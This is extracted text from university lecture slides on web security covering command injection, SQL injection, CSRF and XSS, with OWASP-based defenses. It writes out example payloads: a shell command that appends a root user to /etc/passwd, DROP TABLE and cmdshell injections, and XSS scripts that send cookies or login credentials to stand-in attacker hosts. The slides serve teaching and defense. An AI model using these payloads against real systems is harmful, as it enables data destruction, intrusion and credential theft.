09 Web Site Sec
09 Web Site Sec
John Mitchell
Lecture outline
Introduction
Command injection
https://www.owasp.org/index.php/Top_10_2013-Top_10
OWASP Top Ten (2013)
Attacker Victim
https://www.owasp.org/index.php/Top_10_2013-Top_10
General code injection attacks
Attacker goal: execute arbitrary code on the server
Example
code injection based on eval (PHP)
http://site.com/calc.php (server side calculator)
…
$in = $_GET[‘exp'];
eval('$ans = ' . $in . ';');
…
Attack
http://site.com/calc.php?exp=“ 10 ; system(‘rm *.*’) ”
(URL encoded)
Code injection using system()
Example: PHP server-side code for sending email
$email = $_POST[“email”]
$subject = $_POST[“subject”]
system(“mail $email –s $subject < /tmp/joinmynetwork”)
OR
http://yourdomain.com/mail.php?
[email protected]&subject=foo;
echo “evil::0:0:root:/:/bin/sh">>/etc/passwd; ls
Lecture outline
Introduction
Command injection
Sample PHP
$recipient = $_POST[‘recipient’];
$sql = "SELECT PersonID FROM Person WHERE
Username='$recipient'";
$rs = $db->executeQuery($sql);
Problem
What if ‘recipient’ is malicious string that
changes the meaning of the query?
Basic picture: SQL Injection
Victim Server
2
unintended
3 receive valuable data SQL query
Attacker
Victim SQL DB
15
CardSystems Attack
CardSystems
credit card payment processing company
The Attack
263,000 credit cards stolen from database
16
Example: buggy login page (ASP)
if not ok.EOF
login success
else fail;
Is this exploitable?
17
Enter
Username SELECT *
& FROM Users
Web Password Web WHERE user='me'
Browser DB
Server AND pwd='1234'
(Client)
Normal Query
Bad input
Suppose user = “ ' or 1=1 -- ” (URL encoded)
19
Even worse
Suppose user =
“ ′ ; DROP TABLE Users -- ”
ok = execute( SELECT …
WHERE user= ′ ′ ; DROP TABLE Users … )
20
Even worse …
Suppose user =
′ ; exec cmdshell
′net user badguy badpwd′ / ADD --
21
PHP addslashes()
PHP: addslashes( “ ’ or 1 = 1 -- ”)
outputs: “ \’ or 1=1 -- ”
0x 5c \
Unicode attack: (GBK)
0x bf 27 ¿′
0x bf 5c
$user = 0x bf 27
addslashes ($user) 0x bf 5c 27 ′
Correct implementation: mysql_real_escape_string()
22
Preventing SQL Injection
Custom headers
Login CSRF
OWASP Top Ten (2013)
https://www.owasp.org/index.php/Top_10_2013-Top_10
Recall: session using cookies
Browser Server
Basic CSRF
Server Victim
User Victim
Attack Server
Problem:
cookie auth is insufficient when side effects occur
Form post with cookie
Cookie: SessionID=523FA4cd2E
User credentials
CSRF Defenses
Secret Validation Token
<input type=hidden value=23a3af01b>
Referer Validation
Referer: http://www.facebook.com/home.php
Variations
Session identifier
Session-independent token
Session-dependent token
referer: http://www.site.com
referer: http://www.site.com
Custom headers
Login CSRF
Cookieless Example: Home Router
Home router
2
3
User Bad web site
44
Attack on Home Router
[SRJ’07]
Fact:
50% of home users have broadband router with a
default or no password
Drive-by Pharming attack: User visits malicious site
JavaScript at site scans home network looking for
broadband router:
• SOP allows “send only” messages
• Detect success using onerror:
<IMG SRC=192.168.0.1 onError = do() >
Once found, login to router and change DNS server
Problem: “send-only” access sufficient to reprogram router
Login CSRF
Payments Login CSRF
Payments Login CSRF
Payments Login CSRF
Payments Login CSRF
Login CSRF
CSRF Recommendations
Login CSRF
Strict Referer/Origin header validation
Login forms typically submit over HTTPS, not blocked
HTTPS sites, such as banking sites
Use strict Referer/Origin validation to prevent CSRF
Other
Use Ruby-on-Rails or other framework that implements
secret token method correctly
Origin header
Alternative to Referer with fewer privacy problems
Sent only on POST, sends only necessary data
Defense against redirect-based attacks
Cross Site Scripting (XSS)
OWASP Top Ten (2013)
https://www.owasp.org/index.php/Top_10_2013-Top_10
Three top web site vulnerabilites
SQL Injection
Browser sends malicious
Attacker’s inputcode
malicious to server
executed on victim server
Bad input checking leads to malicious SQL query
2
5
Victim client
Victim Server
XSS example: vulnerable site
search field on victim.com:
http://victim.com/search.php ? term = apple
http://victim.com/search.php ? term =
<script> window.open(
“http://badguy.com?cookie = ” +
document.cookie ) </script>
www.attacker.com
http://victim.com/search.php ?
term = <script> ... </script>
Victim client
Victim Server
www.victim.com
<html>
Results for
<script>
window.open(http://attacker.com?
... document.cookie ...)
</script>
</html>
Definition of XSS
An XSS vulnerability is present when an
attacker can inject scripting code into pages
generated by a web application
Methods for injecting malicious code:
Reflected XSS (“type 1”)
the attack script is reflected back to the user as part of a
page from the victim site
Stored XSS (“type 2”)
the attacker stores the malicious code in a resource
managed by the web application, such as a database
Others, such as DOM-based attacks
Email version of reflected XSS
Attack Server
Email version
1
2
5
User Victim
Server Victim
2006 Example Vulnerability
Source: http://www.acunetix.com/news/paypal.htm
Adobe PDF viewer “feature”
(version <= 7.9)
http://jeremiahgrossman.blogspot.com/2007/01/what-you-need-to-know-about-uxss-in.html
Here’s how the attack works:
Attacker locates a PDF file hosted on website.com
Attacker creates a URL pointing to the PDF, with
JavaScript Malware in the fragment portion
http://website.com/path/to/file.pdf#s=javascript:alert(”xss”);)
file:///C:/Program%20Files/Adobe/Acrobat%2
07.0/Resource/ENUtxt.pdf#blah=javascript:al
ert("XSS");
User Victim
Send bad stuff
Server Victim
Reflect it back
Stored XSS
Attack Server
1
Inject
Storemalicious
bad stuff
User Victim script
2
5
User Victim
Server Victim
How to Protect Yourself (OWASP)
The best way to protect against XSS attacks:
Validates all headers, cookies, query strings, form fields, and
hidden fields (i.e., all parameters) against a rigorous
specification of what should be allowed.
Do not attempt to identify active content and remove, filter,
or sanitize it. There are too many types of active content
and too many ways of encoding it to get around filters for
such content.
Adopt a ‘positive’ security policy that specifies what is
allowed. ‘Negative’ or attack signature based policies are
difficult to maintain and are likely to be incomplete.
Input data validation and filtering
Never trust client-side data
Best: allow only what you expect
Remove/encode special characters
Many encodings, special chars!
E.g., long (non-standard) UTF-8 encodings
Output filtering / encoding
Remove / encode (X)HTML special chars
< for <, > for >, " for “ …
Allow only safe commands (e.g., no <script>…)
Caution: `filter evasion` tricks
See XSS Cheat Sheet for filter evasion
E.g., if filter allows quoting (of <script> etc.), use
malformed quoting: <IMG “””><SCRIPT>alert(“XSS”)…
Or: (long) UTF-8 encode, or…
Caution: Scripts not only in <script>!
Examples in a few slides
ASP.NET output filtering
validateRequest: (on by default)
Crashes page if finds <script> in POST data.
Looks for hardcoded list of patterns
Can be disabled: <%@ Page validateRequest=“false" %>
Caution: Scripts not only in <script>!
JavaScript as scheme in URI
<img src=“javascript:alert(document.cookie);”>
JavaScript On{event} attributes (handlers)
OnSubmit, OnError, OnLoad, …
Typical use:
<img src=“none” OnError=“alert(document.cookie)”>
<iframe src=`https://bank.com/login` onload=`steal()`>
<form> action="logon.jsp" method="post"
onsubmit="hackImg=new Image;
hackImg.src='http://www.digicrime.com/'+document.for
ms(1).login.value'+':'+
document.forms(1).password.value;" </form>
Problems with filters
Suppose a filter removes <script
Good case
<script src=“ ...” src=“...”
But then
<scr<scriptipt src=“ ...” <script src=“ ...”
Advanced anti-XSS tools
Dynamic Data Tainting
Perl taint mode
Static Analysis
Analyze Java, PHP to determine possible
flow of untrusted input
HttpOnly Cookies IE6 SP1, FF2.0.0.5
(not Safari?)
GET …
Browser
Server
HTTP Header:
Set-cookie: NAME=VALUE ;
HttpOnly
Attack Server
http://blogs.msdn.com/ie/archive/2008/07/01/ie8-security-part-iv-the-xss-filter.aspx
Complex problems in social network sites
User data
User-
supplied
application
XSS points to remember
Key defensive approaches
Whitelisting vs. blacklisting
Output encoding vs. input sanitization
Sanitizing before or after storing in database
Dynamic versus static defense techniques
Good ideas
Static analysis (e.g. ASP.NET has support for this)
Taint tracking
Framework support
Continuous testing
Bad ideas
Blacklisting
Manual sanitization
Lecture outline
Introduction
Command injection